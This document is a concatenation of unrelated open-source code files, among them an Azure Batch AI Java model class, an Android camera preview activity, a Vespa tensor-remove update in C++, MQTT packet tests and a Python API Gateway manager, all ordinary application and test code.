// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. // Code generated by Microsoft (R) AutoRest Code Generator. package com.azure.resourcemanager.batchai.models; import com.azure.core.annotation.Fluent; import com.azure.core.annotation.JsonFlatten; import com.azure.core.util.logging.ClientLogger; import com.fasterxml.jackson.annotation.JsonIgnore; import com.fasterxml.jackson.annotation.JsonProperty; /** Cluster creation operation. */ @JsonFlatten @Fluent public class ClusterCreateParameters { @JsonIgnore private final ClientLogger logger = new ClientLogger(ClusterCreateParameters.class); /* * The size of the virtual machines in the cluster. All nodes in a cluster * have the same VM size. For information about available VM sizes for * clusters using images from the Virtual Machines Marketplace see Sizes * for Virtual Machines (Linux). Batch AI service supports all Azure VM * sizes except STANDARD_A0 and those with premium storage (STANDARD_GS, * STANDARD_DS, and STANDARD_DSV2 series). */ @JsonProperty(value = "properties.vmSize") private String vmSize; /* * VM priority. Allowed values are: dedicated (default) and lowpriority. */ @JsonProperty(value = "properties.vmPriority") private VmPriority vmPriority; /* * Scale settings for the cluster. Batch AI service supports manual and * auto scale clusters. */ @JsonProperty(value = "properties.scaleSettings") private ScaleSettings scaleSettings; /* * OS image configuration for cluster nodes. All nodes in a cluster have * the same OS image. */ @JsonProperty(value = "properties.virtualMachineConfiguration") private VirtualMachineConfiguration virtualMachineConfiguration; /* * Setup to be performed on each compute node in the cluster. */ @JsonProperty(value = "properties.nodeSetup") private NodeSetup nodeSetup; /* * Settings for an administrator user account that will be created on each * compute node in the cluster. */ @JsonProperty(value = "properties.userAccountSettings") private UserAccountSettings userAccountSettings; /* * Existing virtual network subnet to put the cluster nodes in. Note, if a * File Server mount configured in node setup, the File Server's subnet * will be used automatically. */ @JsonProperty(value = "properties.subnet") private ResourceId subnet; /** * Get the vmSize property: The size of the virtual machines in the cluster. All nodes in a cluster have the same VM * size. For information about available VM sizes for clusters using images from the Virtual Machines Marketplace * see Sizes for Virtual Machines (Linux). Batch AI service supports all Azure VM sizes except STANDARD_A0 and those * with premium storage (STANDARD_GS, STANDARD_DS, and STANDARD_DSV2 series). * * @return the vmSize value. */ public String vmSize() { return this.vmSize; } /** * Set the vmSize property: The size of the virtual machines in the cluster. All nodes in a cluster have the same VM * size. For information about available VM sizes for clusters using images from the Virtual Machines Marketplace * see Sizes for Virtual Machines (Linux). Batch AI service supports all Azure VM sizes except STANDARD_A0 and those * with premium storage (STANDARD_GS, STANDARD_DS, and STANDARD_DSV2 series). * * @param vmSize the vmSize value to set. * @return the ClusterCreateParameters object itself. */ public ClusterCreateParameters withVmSize(String vmSize) { this.vmSize = vmSize; return this; } /** * Get the vmPriority property: VM priority. Allowed values are: dedicated (default) and lowpriority. * * @return the vmPriority value. */ public VmPriority vmPriority() { return this.vmPriority; } /** * Set the vmPriority property: VM priority. Allowed values are: dedicated (default) and lowpriority. * * @param vmPriority the vmPriority value to set. * @return the ClusterCreateParameters object itself. */ public ClusterCreateParameters withVmPriority(VmPriority vmPriority) { this.vmPriority = vmPriority; return this; } /** * Get the scaleSettings property: Scale settings for the cluster. Batch AI service supports manual and auto scale * clusters. * * @return the scaleSettings value. */ public ScaleSettings scaleSettings() { return this.scaleSettings; } /** * Set the scaleSettings property: Scale settings for the cluster. Batch AI service supports manual and auto scale * clusters. * * @param scaleSettings the scaleSettings value to set. * @return the ClusterCreateParameters object itself. */ public ClusterCreateParameters withScaleSettings(ScaleSettings scaleSettings) { this.scaleSettings = scaleSettings; return this; } /** * Get the virtualMachineConfiguration property: OS image configuration for cluster nodes. All nodes in a cluster * have the same OS image. * * @return the virtualMachineConfiguration value. */ public VirtualMachineConfiguration virtualMachineConfiguration() { return this.virtualMachineConfiguration; } /** * Set the virtualMachineConfiguration property: OS image configuration for cluster nodes. All nodes in a cluster * have the same OS image. * * @param virtualMachineConfiguration the virtualMachineConfiguration value to set. * @return the ClusterCreateParameters object itself. */ public ClusterCreateParameters withVirtualMachineConfiguration( VirtualMachineConfiguration virtualMachineConfiguration) { this.virtualMachineConfiguration = virtualMachineConfiguration; return this; } /** * Get the nodeSetup property: Setup to be performed on each compute node in the cluster. * * @return the nodeSetup value. */ public NodeSetup nodeSetup() { return this.nodeSetup; } /** * Set the nodeSetup property: Setup to be performed on each compute node in the cluster. * * @param nodeSetup the nodeSetup value to set. * @return the ClusterCreateParameters object itself. */ public ClusterCreateParameters withNodeSetup(NodeSetup nodeSetup) { this.nodeSetup = nodeSetup; return this; } /** * Get the userAccountSettings property: Settings for an administrator user account that will be created on each * compute node in the cluster. * * @return the userAccountSettings value. */ public UserAccountSettings userAccountSettings() { return this.userAccountSettings; } /** * Set the userAccountSettings property: Settings for an administrator user account that will be created on each * compute node in the cluster. * * @param userAccountSettings the userAccountSettings value to set. * @return the ClusterCreateParameters object itself. */ public ClusterCreateParameters withUserAccountSettings(UserAccountSettings userAccountSettings) { this.userAccountSettings = userAccountSettings; return this; } /** * Get the subnet property: Existing virtual network subnet to put the cluster nodes in. Note, if a File Server * mount configured in node setup, the File Server's subnet will be used automatically. * * @return the subnet value. */ public ResourceId subnet() { return this.subnet; } /** * Set the subnet property: Existing virtual network subnet to put the cluster nodes in. Note, if a File Server * mount configured in node setup, the File Server's subnet will be used automatically. * * @param subnet the subnet value to set. * @return the ClusterCreateParameters object itself. */ public ClusterCreateParameters withSubnet(ResourceId subnet) { this.subnet = subnet; return this; } /** * Validates the instance. * * @throws IllegalArgumentException thrown if the instance is not valid. */ public void validate() { if (scaleSettings() != null) { scaleSettings().validate(); } if (virtualMachineConfiguration() != null) { virtualMachineConfiguration().validate(); } if (nodeSetup() != null) { nodeSetup().validate(); } if (userAccountSettings() != null) { userAccountSettings().validate(); } if (subnet() != null) { subnet().validate(); } } }
2,881
3,494
package org.libcinder.exampleapp; import android.app.Activity; import android.app.Fragment; import android.app.FragmentManager; import android.app.FragmentTransaction; import android.graphics.Matrix; import android.graphics.SurfaceTexture; import android.os.Build; import android.os.Bundle; import android.os.Handler; import android.os.Looper; import android.util.Log; import android.view.TextureView; import android.view.View; import android.widget.Button; import org.libcinder.hardware.Camera; import java.util.Set; public class CameraPreviewActivity extends Activity implements TextureView.SurfaceTextureListener, Button.OnClickListener, Camera.DisplayLayoutListener { private static final String TAG = "CameraPreviewActivity"; //private ComponentManager mComponentManager; private Camera mCamera; private TextureView mTextureView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_camera_preview); /* FragmentManager fragmentManager = getFragmentManager(); Fragment fragment = fragmentManager.findFragmentByTag(ComponentManager.FRAGMENT_TAG); if(null == fragment) { Log.i(TAG, "ModulesFragment not found - creating"); mComponentManager = new ComponentManager(); FragmentTransaction fragmentTransaction = fragmentManager.beginTransaction(); fragmentTransaction.add(mComponentManager, ComponentManager.FRAGMENT_TAG); fragmentTransaction.commit(); } else { Log.i(TAG, "ModulesFragment found - casting"); mComponentManager = (ComponentManager)fragment; } */ //mCamera = mComponentManager.getCamera(Build.VERSION_CODES.KITKAT); //mCamera = mModulesFragment.getCamera(1); //mCamera.setDisplayLayoutListener(this); mTextureView = (TextureView)findViewById(R.id.textureView); mTextureView.setSurfaceTextureListener(this); Button btn = (Button)findViewById(R.id.button); btn.setOnClickListener(this); } @Override protected void onStart() { super.onStart(); //mCamera.setDisplayLayoutListener(this); //mCamera.startCapture(); } @Override protected void onStop() { super.onStop(); } @Override protected void onDestroy() { super.onDestroy(); } @Override public void onSurfaceTextureAvailable(SurfaceTexture surface, int width, int height) { Log.i(TAG, "onSurfaceTextureAvailable"); mCamera.setPreviewTexture(surface); Log.i(TAG, "Thread ID: " + Thread.currentThread().getId()); Set<Thread> threadSet = Thread.getAllStackTraces().keySet(); Thread[] threadArray = threadSet.toArray(new Thread[threadSet.size()]); for(Thread t : threadArray) { Log.i(TAG, "Thread : " + t.getId() + ", name=" + t.getName()); } } @Override public void onSurfaceTextureSizeChanged(SurfaceTexture surface, int width, int height) { } @Override public boolean onSurfaceTextureDestroyed(SurfaceTexture surface) { mCamera.stopCapture(); return true; } @Override public void onSurfaceTextureUpdated(SurfaceTexture surface) { } @Override public void onDisplayLayoutChanged(int width, int height, int orientation, int displayRotation) { Log.i(TAG, "onDisplayLayoutChanged: " + width +", " + height + ", " + orientation + ", " + displayRotation); mCamera.updatePreviewTransform(mTextureView.getWidth(), mTextureView.getHeight(), orientation, displayRotation); Matrix transformMatrix = mCamera.getPreviewTransform(); class TransformUpdater implements Runnable { TextureView mView; Matrix mMatrix; TransformUpdater(TextureView view, Matrix matrix) { mView = view; mMatrix = matrix; } @Override public void run() { mView.setTransform(mMatrix); } } (new Handler(Looper.getMainLooper())).post(new TransformUpdater(mTextureView, transformMatrix)); } @Override public void onClick(View view) { mCamera.toggleActiveCamera(); } }
1,716
679
<filename>main/qadevOOo/java/OOoRunner/src/main/java/ifc/sdb/_DataAccessDescriptor.java /************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ package ifc.sdb; import com.sun.star.sdbc.XConnection; import com.sun.star.sdbc.XResultSet; import com.sun.star.uno.UnoRuntime; import lib.MultiPropertyTest; public class _DataAccessDescriptor extends MultiPropertyTest { /** * Tested with custom property tester. */ public void _ResultSet() { String propName = "ResultSet"; try{ log.println("try to get value from property..."); XResultSet oldValue = (XResultSet) UnoRuntime.queryInterface(XResultSet.class,oObj.getPropertyValue(propName)); log.println("try to get value from object relation..."); XResultSet newValue = (XResultSet) UnoRuntime.queryInterface(XResultSet.class,tEnv.getObjRelation("DataAccessDescriptor.XResultSet")); log.println("set property to a new value..."); oObj.setPropertyValue(propName, newValue); log.println("get the new value..."); XResultSet getValue = (XResultSet) UnoRuntime.queryInterface(XResultSet.class,oObj.getPropertyValue(propName)); tRes.tested(propName, this.compare(newValue, getValue)); } catch (com.sun.star.beans.PropertyVetoException e){ log.println("could not set property '"+ propName +"' to a new value!"); tRes.tested(propName, false); } catch (com.sun.star.lang.IllegalArgumentException e){ log.println("could not set property '"+ propName +"' to a new value!"); tRes.tested(propName, false); } catch (com.sun.star.beans.UnknownPropertyException e){ if (this.isOptional(propName)){ // skipping optional property test log.println("Property '" + propName + "' is optional and not supported"); tRes.tested(propName,true); } else { log.println("could not get property '"+ propName +"' from XPropertySet!"); tRes.tested(propName, false); } } catch (com.sun.star.lang.WrappedTargetException e){ log.println("could not get property '"+ propName +"' from XPropertySet!"); tRes.tested(propName, false); } } /** * Tested with custom property tester. */ public void _ActiveConnection() { String propName = "ActiveConnection"; try{ log.println("try to get value from property..."); XConnection oldValue = (XConnection) UnoRuntime.queryInterface(XConnection.class,oObj.getPropertyValue(propName)); log.println("try to get value from object relation..."); XConnection newValue = (XConnection) UnoRuntime.queryInterface(XConnection.class,tEnv.getObjRelation("DataAccessDescriptor.XConnection")); log.println("set property to a new value..."); oObj.setPropertyValue(propName, newValue); log.println("get the new value..."); XConnection getValue = (XConnection) UnoRuntime.queryInterface(XConnection.class,oObj.getPropertyValue(propName)); tRes.tested(propName, this.compare(newValue, getValue)); } catch (com.sun.star.beans.PropertyVetoException e){ log.println("could not set property '"+ propName +"' to a new value! " + e.toString()); tRes.tested(propName, false); } catch (com.sun.star.lang.IllegalArgumentException e){ log.println("could not set property '"+ propName +"' to a new value! " + e.toString()); tRes.tested(propName, false); } catch (com.sun.star.beans.UnknownPropertyException e){ if (this.isOptional(propName)){ // skipping optional property test log.println("Property '" + propName + "' is optional and not supported"); tRes.tested(propName,true); } else { log.println("could not get property '"+ propName +"' from XPropertySet!"); tRes.tested(propName, false); } } catch (com.sun.star.lang.WrappedTargetException e){ log.println("could not get property '"+ propName +"' from XPropertySet!"); tRes.tested(propName, false); } } }
2,155
347
<filename>backend/manager/modules/searchbackend/src/main/java/org/ovirt/engine/core/searchbackend/SyntaxError.java package org.ovirt.engine.core.searchbackend; import java.util.HashMap; import java.util.Map; public enum SyntaxError { NO_ERROR(0), INVALID_SEARCH_OBJECT(1), COLON_BEFORE_SEARCH_OBJECT(2), COLON_NOT_NEXT_TO_SEARCH_OBJECT(3), INVALID_CONDITION_FILED_OR_SORTBY(4), INVALID_CONDITION_RELATION(5), INVALID_CONDITION_VALUE(6), INVALID_SORT_FIELD(7), INVALID_SORT_DIRECTION(8), NOTHING_COMES_AFTER_PAGE_VALUE(9), CONDITION_CANT_CREATE_RRELATIONS_AC(10), DOT_NOT_NEXT_TO_CROSS_REF_OBJ(11), INVALID_POST_COLON_PHRASE(12), INVALID_POST_CONDITION_VALUE_PHRASE(13), CANT_GET_CONDITION_FIELD_AC(14), CANT_GET_CONDITION_RELATIONS_AC(15), INVALID_CONDITION_FILED(16), UNIDENTIFIED_STATE(17), INVALID_POST_OR_AND_PHRASE(18), INVALID_POST_CROSS_REF_OBJ(19), FREE_TEXT_ALLOWED_ONCE_PER_OBJ(20), INVALID_CHARECTER(21), INVALID_PAGE_FEILD(22); private int intValue; private static Map<Integer, SyntaxError> mappings; private static synchronized Map<Integer, SyntaxError> getMappings() { if (mappings == null) { mappings = new HashMap<>(); } return mappings; } private SyntaxError(int value) { intValue = value; SyntaxError.getMappings().put(value, this); } public int getValue() { return intValue; } public static SyntaxError forValue(int value) { return getMappings().get(value); } }
730
2,151
<reponame>zipated/src<filename>third_party/angle/src/libANGLE/renderer/null/RenderbufferNULL.cpp // // Copyright 2016 The ANGLE Project Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // // RenderbufferNULL.cpp: // Implements the class methods for RenderbufferNULL. // #include "libANGLE/renderer/null/RenderbufferNULL.h" #include "common/debug.h" namespace rx { RenderbufferNULL::RenderbufferNULL(const gl::RenderbufferState &state) : RenderbufferImpl(state) { } RenderbufferNULL::~RenderbufferNULL() { } gl::Error RenderbufferNULL::setStorage(const gl::Context *context, GLenum internalformat, size_t width, size_t height) { return gl::NoError(); } gl::Error RenderbufferNULL::setStorageMultisample(const gl::Context *context, size_t samples, GLenum internalformat, size_t width, size_t height) { return gl::NoError(); } gl::Error RenderbufferNULL::setStorageEGLImageTarget(const gl::Context *context, egl::Image *image) { return gl::NoError(); } gl::Error RenderbufferNULL::initializeContents(const gl::Context *context, const gl::ImageIndex &imageIndex) { return gl::NoError(); } } // namespace rx
754
6,034
<reponame>ssSlowDown/onemall<gh_stars>1000+ package cn.iocoder.mall.managementweb.controller.admin.dto; import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.experimental.Accessors; import org.hibernate.validator.constraints.Length; import javax.validation.constraints.NotEmpty; import javax.validation.constraints.NotNull; import javax.validation.constraints.Pattern; @ApiModel("管理员更新信息 DTO") @Data @Accessors(chain = true) public class AdminUpdateInfoDTO { @ApiModelProperty(value = "管理员编号", required = true, example = "1") @NotNull(message = "管理员编号不能为空") private Integer id; @ApiModelProperty(value = "登陆账号", required = true, example = "15601691300") @NotEmpty(message = "登陆账号不能为空") @Length(min = 5, max = 16, message = "账号长度为 5-16 位") @Pattern(regexp = "^[A-Za-z0-9]+$", message = "账号格式为数字以及字母") private String username; @ApiModelProperty(value = "密码", required = true, example = "<PASSWORD>") @NotEmpty(message = "密码不能为空") @Length(min = 4, max = 16, message = "密码长度为 4-16 位") private String password; @ApiModelProperty(value = "真实名字", required = true, example = "小王") @NotEmpty(message = "真实名字不能为空") @Length(max = 10, message = "真实名字长度最大为 10 位") private String name; @ApiModelProperty(value = "部门编号", required = true, example = "1") @NotNull(message = "部门不能为空") private Integer departmentId; }
724
498
<gh_stars>100-1000 package com.bizzan.bitrade.dao; import org.springframework.data.mongodb.repository.MongoRepository; import com.bizzan.bitrade.entity.ExchangeOrderDetail; import com.bizzan.bitrade.entity.ExchangeTrade; public interface ExchangeTradeRepository extends MongoRepository<ExchangeTrade,String> { }
105
4,054
// Copyright 2019 Oath Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. #include "tensor_remove_update.h" #include "tensor_partial_update.h" #include <vespa/document/base/exceptions.h> #include <vespa/document/datatype/tensor_data_type.h> #include <vespa/document/fieldvalue/document.h> #include <vespa/document/fieldvalue/tensorfieldvalue.h> #include <vespa/document/serialization/vespadocumentdeserializer.h> #include <vespa/eval/eval/fast_value.h> #include <vespa/eval/eval/value.h> #include <vespa/vespalib/objects/nbostream.h> #include <vespa/vespalib/util/xmlstream.h> #include <ostream> #include <cassert> using vespalib::IllegalArgumentException; using vespalib::IllegalStateException; using vespalib::make_string; using vespalib::eval::Value; using vespalib::eval::ValueType; using vespalib::eval::CellType; using vespalib::eval::FastValueBuilderFactory; namespace document { namespace { std::unique_ptr<const TensorDataType> convertToCompatibleType(const TensorDataType &tensorType) { std::vector<ValueType::Dimension> list; for (const auto &dim : tensorType.getTensorType().dimensions()) { if (dim.is_mapped()) { list.emplace_back(dim.name); } } return std::make_unique<const TensorDataType>(ValueType::make_type(tensorType.getTensorType().cell_type(), std::move(list))); } } IMPLEMENT_IDENTIFIABLE(TensorRemoveUpdate, ValueUpdate); TensorRemoveUpdate::TensorRemoveUpdate() : _tensorType(), _tensor() { } TensorRemoveUpdate::TensorRemoveUpdate(const TensorRemoveUpdate &rhs) : _tensorType(rhs._tensorType->clone()), _tensor(rhs._tensor->clone()) { } TensorRemoveUpdate::TensorRemoveUpdate(std::unique_ptr<TensorFieldValue> tensor) : _tensorType(Identifiable::cast<const TensorDataType &>(*tensor->getDataType()).clone()), _tensor(Identifiable::cast<TensorFieldValue *>(_tensorType->createFieldValue().release())) { *_tensor = *tensor; } TensorRemoveUpdate::~TensorRemoveUpdate() = default; TensorRemoveUpdate & TensorRemoveUpdate::operator=(const TensorRemoveUpdate &rhs) { if (&rhs != this) { _tensor.reset(); _tensorType.reset(rhs._tensorType->clone()); _tensor.reset(Identifiable::cast<TensorFieldValue *>(_tensorType->createFieldValue().release())); *_tensor = *rhs._tensor; } return *this; } TensorRemoveUpdate & TensorRemoveUpdate::operator=(TensorRemoveUpdate &&rhs) { _tensorType = std::move(rhs._tensorType); _tensor = std::move(rhs._tensor); return *this; } bool TensorRemoveUpdate::operator==(const ValueUpdate &other) const { if (other.getClass().id() != TensorRemoveUpdate::classId) { return false; } const TensorRemoveUpdate& o(static_cast<const TensorRemoveUpdate&>(other)); if (*_tensor != *o._tensor) { return false; } return true; } void TensorRemoveUpdate::checkCompatibility(const Field &field) const { if (field.getDataType().getClass().id() != TensorDataType::classId) { throw IllegalArgumentException(make_string("Cannot perform tensor remove update on non-tensor field '%s'", field.getName().data()), VESPA_STRLOC); } } std::unique_ptr<vespalib::eval::Value> TensorRemoveUpdate::applyTo(const vespalib::eval::Value &tensor) const { return apply_to(tensor, FastValueBuilderFactory::get()); } std::unique_ptr<vespalib::eval::Value> TensorRemoveUpdate::apply_to(const Value &old_tensor, const ValueBuilderFactory &factory) const { if (auto addressTensor = _tensor->getAsTensorPtr()) { return TensorPartialUpdate::remove(old_tensor, *addressTensor, factory); } return {}; } bool TensorRemoveUpdate::applyTo(FieldValue &value) const { if (value.inherits(TensorFieldValue::classId)) { TensorFieldValue &tensorFieldValue = static_cast<TensorFieldValue &>(value); auto oldTensor = tensorFieldValue.getAsTensorPtr(); if (oldTensor) { auto newTensor = applyTo(*oldTensor); if (newTensor) { tensorFieldValue = std::move(newTensor); } } } else { vespalib::string err = make_string("Unable to perform a tensor remove update on a '%s' field value", value.getClass().name()); throw IllegalStateException(err, VESPA_STRLOC); } return true; } void TensorRemoveUpdate::printXml(XmlOutputStream &xos) const { xos << "{TensorRemoveUpdate::printXml not yet implemented}"; } void TensorRemoveUpdate::print(std::ostream &out, bool verbose, const std::string &indent) const { out << indent << "TensorRemoveUpdate("; if (_tensor) { _tensor->print(out, verbose, indent); } out << ")"; } namespace { void verifyAddressTensorIsSparse(const Value *addressTensor) { if (addressTensor == nullptr) { throw IllegalStateException("Address tensor is not set", VESPA_STRLOC); } if (addressTensor->type().is_sparse()) { return; } auto err = make_string("Expected address tensor to be sparse, but has type '%s'", addressTensor->type().to_spec().c_str()); throw IllegalStateException(err, VESPA_STRLOC); } void verify_tensor_type_dimensions_are_subset_of(const ValueType& lhs_type, const ValueType& rhs_type) { for (const auto& dim : lhs_type.dimensions()) { if (rhs_type.dimension_index(dim.name) == ValueType::Dimension::npos) { auto err = make_string("Unexpected type '%s' for address tensor. " "Expected dimensions to be a subset of '%s'", lhs_type.to_spec().c_str(), rhs_type.to_spec().c_str()); throw IllegalStateException(err, VESPA_STRLOC); } } } } void TensorRemoveUpdate::deserialize(const DocumentTypeRepo &repo, const DataType &type, nbostream &stream) { VespaDocumentDeserializer deserializer(repo, stream, Document::getNewestSerializationVersion()); auto tensor = deserializer.readTensor(); verifyAddressTensorIsSparse(tensor.get()); auto compatible_type = convertToCompatibleType(Identifiable::cast<const TensorDataType &>(type)); verify_tensor_type_dimensions_are_subset_of(tensor->type(), compatible_type->getTensorType()); _tensorType = std::make_unique<const TensorDataType>(tensor->type()); _tensor = std::make_unique<TensorFieldValue>(*_tensorType); _tensor->assignDeserialized(std::move(tensor)); } TensorRemoveUpdate * TensorRemoveUpdate::clone() const { return new TensorRemoveUpdate(*this); } }
2,732
310
{ "name": "PHP", "description": "An interpreted scripting language.", "url": "https://php.net/" }
35
348
{"nom":"Chevagny-les-Chevrières","dpt":"Saône-et-Loire","inscrits":475,"abs":86,"votants":389,"blancs":43,"nuls":6,"exp":340,"res":[{"panneau":"1","voix":256},{"panneau":"2","voix":84}]}
81
458
<reponame>swimos/swim<gh_stars>100-1000 // Copyright 2015-2021 Swim Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package swim.mqtt; import org.testng.annotations.Test; import swim.structure.Data; import static swim.mqtt.MqttAssertions.assertEncodes; public class MqttConnAckPacketSpec { @Test public void decodeConnAckPacketsWithConnectStatus() { assertDecodes(Data.fromBase16("20020000"), MqttConnAckPacket.create(MqttConnStatus.ACCEPTED)); assertDecodes(Data.fromBase16("20020001"), MqttConnAckPacket.create(MqttConnStatus.UNACCEPTABLE_PROTOCOL_VERSION)); assertDecodes(Data.fromBase16("20020002"), MqttConnAckPacket.create(MqttConnStatus.IDENTIFIER_REJECTED)); assertDecodes(Data.fromBase16("20020003"), MqttConnAckPacket.create(MqttConnStatus.SERVER_UNAVAILABLE)); assertDecodes(Data.fromBase16("20020004"), MqttConnAckPacket.create(MqttConnStatus.BAD_USERNAME_OR_PASSWORD)); assertDecodes(Data.fromBase16("20020005"), MqttConnAckPacket.create(MqttConnStatus.NOT_AUTHORIZED)); } @Test public void encodeConnAckPacketsWithConnectStatus() { assertEncodes(MqttConnAckPacket.create(MqttConnStatus.ACCEPTED), Data.fromBase16("20020000")); assertEncodes(MqttConnAckPacket.create(MqttConnStatus.UNACCEPTABLE_PROTOCOL_VERSION), Data.fromBase16("20020001")); assertEncodes(MqttConnAckPacket.create(MqttConnStatus.IDENTIFIER_REJECTED), Data.fromBase16("20020002")); assertEncodes(MqttConnAckPacket.create(MqttConnStatus.SERVER_UNAVAILABLE), Data.fromBase16("20020003")); assertEncodes(MqttConnAckPacket.create(MqttConnStatus.BAD_USERNAME_OR_PASSWORD), Data.fromBase16("20020004")); assertEncodes(MqttConnAckPacket.create(MqttConnStatus.NOT_AUTHORIZED), Data.fromBase16("20020005")); } @Test public void decodeConnAckPacketsWithSessionPresent() { assertDecodes(Data.fromBase16("20020000"), MqttConnAckPacket.accepted().sessionPresent(false)); assertDecodes(Data.fromBase16("20020100"), MqttConnAckPacket.accepted().sessionPresent(true)); } @Test public void encodeConnAckPacketsWithSessionPresent() { assertEncodes(MqttConnAckPacket.accepted().sessionPresent(false), Data.fromBase16("20020000")); assertEncodes(MqttConnAckPacket.accepted().sessionPresent(true), Data.fromBase16("20020100")); } public static void assertDecodes(Data data, MqttConnAckPacket packet) { MqttAssertions.assertDecodesPacket(data, packet); } }
1,339
852
import FWCore.ParameterSet.Config as cms # # produce mvaComputer with all necessary ingredients # ## import MVA trainer cfi from TopQuarkAnalysis.TopEventSelection.TtFullHadSignalSelMVATrainer_cfi import * ## ------------------------------------------------------------------------------------------ ## configuration of event looper for mva taining; take care to make the ## looper known to the process. The way to do that is to add the following ## lines to your cfg.py ## ## from TopQuarkAnalysis.TopEventSelection.TraintreeSaver_cff import looper ## process.looper = looper ## ------------------------------------------------------------------------------------------ looper = cms.Looper("TtFullHadSignalSelMVATrainerLooper", trainers = cms.VPSet(cms.PSet( monitoring = cms.untracked.bool(False), loadState = cms.untracked.bool(False), saveState = cms.untracked.bool(True), calibrationRecord = cms.string('traintreeSaver'), trainDescription = cms.untracked.FileInPath( 'TopQuarkAnalysis/TopEventSelection/data/TtFullHadSignalSelMVATrainTreeSaver.xml'), useXSLT = cms.untracked.bool(True) ) ) ) ## provide a sequence for the training ## remark: do not use this sequence if you want to call your trainer after an event filter ## since the SaveFile module should be called in an unfiltered path! saveTrainTree = cms.Sequence(buildTraintree)
465
589
# Copyright (C) GRyCAP - I3M - UPV # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Module with classes and methods that manage the AWS ApiGateway at high level.""" from typing import Dict from scar.providers.aws import GenericClient import scar.logger as logger class APIGateway(GenericClient): """Manage the calls to the ApiGateway client.""" def __init__(self, resources_info: Dict): super().__init__(resources_info.get('api_gateway', {})) self.resources_info = resources_info self.api = self.resources_info.get('api_gateway', {}) def _get_common_args(self) -> Dict: return {'restApiId' : self.api.get('id', ''), 'resourceId' : self.api.get('resource_id', ''), 'httpMethod' : self.api.get('http_method', '')} def _get_method_args(self) -> Dict: args = self._get_common_args() args.update(self.api.get('method', {})) return args def _get_integration_args(self) -> Dict: integration_args = self.api.get('integration', {}) uri_args = {'api_region': self.api.get('region', ''), 'lambda_region': self.resources_info.get('lambda', {}).get('region', ''), 'account_id': self.resources_info.get('iam', {}).get('account_id', ''), 'function_name': self.resources_info.get('lambda', {}).get('name', '')} integration_args['uri'] = integration_args['uri'].format(**uri_args) args = self._get_common_args() args.update(integration_args) return args def _get_resource_id(self) -> str: res_id = "" resources_info = self.client.get_resources(self.api.get('id', '')) for resource in resources_info['items']: if resource['path'] == '/': res_id = resource['id'] break return res_id def _set_api_gateway_id(self, api_info: Dict) -> None: self.api['id'] = api_info.get('id', '') # We store the parameter in the lambda configuration that # is going to be uploaded to the Lambda service self.resources_info['lambda']['environment']['Variables']['API_GATEWAY_ID'] = api_info.get('id', '') def _set_resource_info_id(self, resource_info: Dict) -> None: self.api['resource_id'] = resource_info.get('id', '') def _get_endpoint(self) -> str: endpoint_args = {'api_id': self.api.get('id', ''), 'api_region': self.api.get('region', ''), 'stage_name': self.api.get('stage_name', '')} return self.api.get('endpoint', '').format(**endpoint_args) def create_api_gateway(self) -> None: """Creates an Api Gateway endpoint.""" api_info = self.client.create_rest_api(self.api.get('name', '')) self._set_api_gateway_id(api_info) resource_info = self.client.create_resource(self.api.get('id', ''), self._get_resource_id(), self.api.get('path_part', '')) self._set_resource_info_id(resource_info) self.client.create_method(**self._get_method_args()) self.client.set_integration(**self._get_integration_args()) self.client.create_deployment(self.api.get('id', ''), self.api.get('stage_name', '')) logger.info(f'API Gateway endpoint: {self._get_endpoint()}') def delete_api_gateway(self) -> None: """Deletes an Api Gateway endpoint.""" return self.client.delete_rest_api(self.resources_info['lambda']['environment']['Variables']['API_GATEWAY_ID'])
1,734
971
<gh_stars>100-1000 package com.ucar.datalink.worker.api.util; import java.util.ArrayList; import java.util.LinkedList; import java.util.List; /** * Created by lubiao on 2017/6/21. */ public class BatchSplitter { /** * 将一个list拆分为多个list,每个list的元素个数为batchSize * */ public static <T> List<List<T>> splitForBatch(List<T> datas, int batchSize) { List<List<T>> result = new ArrayList<>(); if (batchSize >= datas.size()) { result.add(datas); return result; } else { LinkedList<T> tempList = new LinkedList<>(); for (T item : datas) { tempList.add(item); if (tempList.size() % batchSize == 0) { result.add(tempList); tempList = new LinkedList<>(); } } if (!tempList.isEmpty()) { result.add(tempList); } return result; } } public static void main(String args[]) { List<Integer> list = new LinkedList<>(); for (int i = 0; i < 100; i++) { list.add(i); } List<List<Integer>> result = splitForBatch(list, 101); System.out.println(result.size()); for (List<Integer> i : result) { System.out.println(i); } List<List<Integer>> result2 = splitForBatch(list, 10); System.out.println(result2.size()); for (List<Integer> i : result2) { System.out.println(i); } List<List<Integer>> result3 = splitForBatch(list, 3); System.out.println(result3.size()); for (List<Integer> i : result3) { System.out.println(i); } } }
906
563
